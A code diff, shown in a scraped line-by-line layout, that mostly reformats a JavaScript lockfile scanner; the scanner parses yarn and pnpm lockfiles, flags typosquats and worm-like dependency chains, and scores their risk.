const m = bodyTrim.match(/^dependencies\s+(.*)/);
|
|
141
|
-
if (m)
|
|
149
|
+
if (m) {
|
|
150
|
+
parseDepList(m[1], dependencies);
|
|
151
|
+
}
|
|
142
152
|
} else if (bodyTrim.startsWith('optionalDependencies')) {
|
|
143
153
|
const m = bodyTrim.match(/^optionalDependencies\s+(.*)/);
|
|
144
|
-
if (m)
|
|
154
|
+
if (m) {
|
|
155
|
+
parseDepList(m[1], optionalDependencies);
|
|
156
|
+
}
|
|
145
157
|
} else if (bodyTrim.startsWith('peerDependencies')) {
|
|
146
158
|
const m = bodyTrim.match(/^peerDependencies\s+(.*)/);
|
|
147
|
-
if (m)
|
|
159
|
+
if (m) {
|
|
160
|
+
parseDepList(m[1], peerDependencies);
|
|
161
|
+
}
|
|
148
162
|
} else if (bodyTrim.match(/^\s*dev\s+(true|false)$/)) {
|
|
149
163
|
dev = bodyTrim.includes('true');
|
|
150
164
|
} else if (bodyTrim.match(/^\s*optional\s+(true|false)$/)) {
|
|
@@ -166,7 +180,7 @@ function parseYarnLockfile(content, filePath) {
|
|
|
166
180
|
optional,
|
|
167
181
|
scripts: {},
|
|
168
182
|
dependencies,
|
|
169
|
-
optionalDependencies
|
|
183
|
+
optionalDependencies,
|
|
170
184
|
});
|
|
171
185
|
}
|
|
172
186
|
} else {
|
|
@@ -192,14 +206,16 @@ function parseYarnLockfile(content, filePath) {
|
|
|
192
206
|
version: 'unknown',
|
|
193
207
|
dependencies: rootDeps,
|
|
194
208
|
devDependencies: rootDevDeps,
|
|
195
|
-
peerDependencies: {}
|
|
196
|
-
}
|
|
209
|
+
peerDependencies: {},
|
|
210
|
+
},
|
|
197
211
|
};
|
|
198
212
|
}
|
|
199
213
|
|
|
200
214
|
function parseDepList(str, dest) {
|
|
201
215
|
const cleaned = str.replace(/^[[\]]/g, '').trim();
|
|
202
|
-
if (!cleaned)
|
|
216
|
+
if (!cleaned) {
|
|
217
|
+
return;
|
|
218
|
+
}
|
|
203
219
|
const re = /([\w@./-]+)\s+\^?([\w@./-]+)/g;
|
|
204
220
|
let m;
|
|
205
221
|
while ((m = re.exec(cleaned)) !== null) {
|
|
@@ -207,14 +223,16 @@ function parseDepList(str, dest) {
|
|
|
207
223
|
}
|
|
208
224
|
}
|
|
209
225
|
|
|
210
|
-
function parsePnpmLockfile(content,
|
|
226
|
+
function parsePnpmLockfile(content, _filePath) {
|
|
211
227
|
const lockfile = yaml.load(content);
|
|
212
228
|
const packages = [];
|
|
213
229
|
|
|
214
230
|
if (lockfile.packages) {
|
|
215
231
|
for (const [key, pkg] of Object.entries(lockfile.packages)) {
|
|
216
232
|
const nameMatch = key.match(/^\/(.+?)@([^@/]+)$/);
|
|
217
|
-
if (!nameMatch)
|
|
233
|
+
if (!nameMatch) {
|
|
234
|
+
continue;
|
|
235
|
+
}
|
|
218
236
|
const name = nameMatch[1];
|
|
219
237
|
const version = nameMatch[2];
|
|
220
238
|
|
|
@@ -237,7 +255,7 @@ function parsePnpmLockfile(content, filePath) {
|
|
|
237
255
|
optional: pkg.optional || false,
|
|
238
256
|
scripts: pkg.hasBundledMedia ? { bundled: true } : {},
|
|
239
257
|
dependencies: pkg.dependencies || {},
|
|
240
|
-
optionalDependencies: pkg.optionalDependencies || {}
|
|
258
|
+
optionalDependencies: pkg.optionalDependencies || {},
|
|
241
259
|
});
|
|
242
260
|
}
|
|
243
261
|
}
|
|
@@ -257,8 +275,8 @@ function parsePnpmLockfile(content, filePath) {
|
|
|
257
275
|
version: lockfile.lockfileVersion ? 'unknown' : 'unknown',
|
|
258
276
|
dependencies: rootDepsMap,
|
|
259
277
|
devDependencies: rootDevDepsMap,
|
|
260
|
-
peerDependencies: rootPeerDepsMap
|
|
261
|
-
}
|
|
278
|
+
peerDependencies: rootPeerDepsMap,
|
|
279
|
+
},
|
|
262
280
|
};
|
|
263
281
|
}
|
|
264
282
|
|
|
@@ -282,7 +300,7 @@ export function checkMaliciousPatterns(pkg) {
|
|
|
282
300
|
severity: 'high',
|
|
283
301
|
title: 'Typosquat detected',
|
|
284
302
|
description: `Package name "${pkg.name}" is similar to popular packages`,
|
|
285
|
-
evidence: `similar to ${pattern.source}
|
|
303
|
+
evidence: `similar to ${pattern.source}`,
|
|
286
304
|
});
|
|
287
305
|
}
|
|
288
306
|
}
|
|
@@ -307,21 +325,25 @@ export function analyzeDependencyGraph(lockfileData) {
|
|
|
307
325
|
severity: 'high',
|
|
308
326
|
title: 'Transitive propagation (worm)',
|
|
309
327
|
description: `Package "${pkg.name}" depends on peer "${peerName}@${peerVersion}" - potential worm propagation chain`,
|
|
310
|
-
evidence: `peer dep chain: ${pkg.name} -> ${peerName}
|
|
328
|
+
evidence: `peer dep chain: ${pkg.name} -> ${peerName}`,
|
|
311
329
|
});
|
|
312
330
|
}
|
|
313
331
|
}
|
|
314
332
|
}
|
|
315
333
|
|
|
316
|
-
if (
|
|
317
|
-
|
|
334
|
+
if (
|
|
335
|
+
pkg.dependencies &&
|
|
336
|
+
typeof pkg.dependencies === 'object' &&
|
|
337
|
+
Object.keys(pkg.dependencies).length > 5
|
|
338
|
+
) {
|
|
339
|
+
const transitiveCount = Object.keys(pkg.dependencies).filter((k) => k.includes('/')).length;
|
|
318
340
|
if (transitiveCount > 3) {
|
|
319
341
|
findings.push({
|
|
320
342
|
id: 'ATK-011',
|
|
321
343
|
severity: 'medium',
|
|
322
344
|
title: 'Transitive propagation (worm)',
|
|
323
345
|
description: `Package "${pkg.name}" has excessive transitive dependencies (${transitiveCount} scoped)`,
|
|
324
|
-
evidence: `heavy transitive dep chain: ${pkg.name}
|
|
346
|
+
evidence: `heavy transitive dep chain: ${pkg.name}`,
|
|
325
347
|
});
|
|
326
348
|
}
|
|
327
349
|
}
|
|
@@ -332,7 +354,7 @@ export function analyzeDependencyGraph(lockfileData) {
|
|
|
332
354
|
severity: 'low',
|
|
333
355
|
title: 'Transitive propagation (worm)',
|
|
334
356
|
description: `Package "${pkg.name}" has excessive optional dependencies (${Object.keys(pkg.optionalDependencies).length})`,
|
|
335
|
-
evidence: `optional dep chain: ${pkg.name} -> [${Object.keys(pkg.optionalDependencies).slice(0, 3).join(', ')}, ...]
|
|
357
|
+
evidence: `optional dep chain: ${pkg.name} -> [${Object.keys(pkg.optionalDependencies).slice(0, 3).join(', ')}, ...]`,
|
|
336
358
|
});
|
|
337
359
|
}
|
|
338
360
|
}
|
|
@@ -342,8 +364,8 @@ export function analyzeDependencyGraph(lockfileData) {
|
|
|
342
364
|
|
|
343
365
|
export function generateLockfileReport(lockfileData) {
|
|
344
366
|
const total = lockfileData.packages.length;
|
|
345
|
-
const dev = lockfileData.packages.filter(p => p.dev).length;
|
|
346
|
-
const optional = lockfileData.packages.filter(p => p.optional).length;
|
|
367
|
+
const dev = lockfileData.packages.filter((p) => p.dev).length;
|
|
368
|
+
const optional = lockfileData.packages.filter((p) => p.optional).length;
|
|
347
369
|
|
|
348
370
|
const findings = [];
|
|
349
371
|
|
|
@@ -363,12 +385,14 @@ export function generateLockfileReport(lockfileData) {
|
|
|
363
385
|
optionalDependencies: optional,
|
|
364
386
|
lockfileVersion: lockfileData.version,
|
|
365
387
|
findings,
|
|
366
|
-
riskScore: calculateRiskScore(findings)
|
|
388
|
+
riskScore: calculateRiskScore(findings),
|
|
367
389
|
};
|
|
368
390
|
}
|
|
369
391
|
|
|
370
392
|
function calculateRiskScore(findings) {
|
|
371
|
-
if (!findings.length)
|
|
393
|
+
if (!findings.length) {
|
|
394
|
+
return '0.0';
|
|
395
|
+
}
|
|
372
396
|
const weights = { critical: 10, high: 7, medium: 4, low: 2, info: 0.5 };
|
|
373
397
|
const maxSeverity = findings.reduce((max, f) => {
|
|
374
398
|
const w = weights[f.severity] || 0;
|
|
@@ -377,4 +401,4 @@ function calculateRiskScore(findings) {
|
|
|
377
401
|
const countBonus = Math.min(findings.length * 0.3, 3);
|
|
378
402
|
const score = Math.min(maxSeverity + countBonus, 10);
|
|
379
403
|
return score.toFixed(1);
|
|
380
|
-
}
|
|
404
|
+
}
|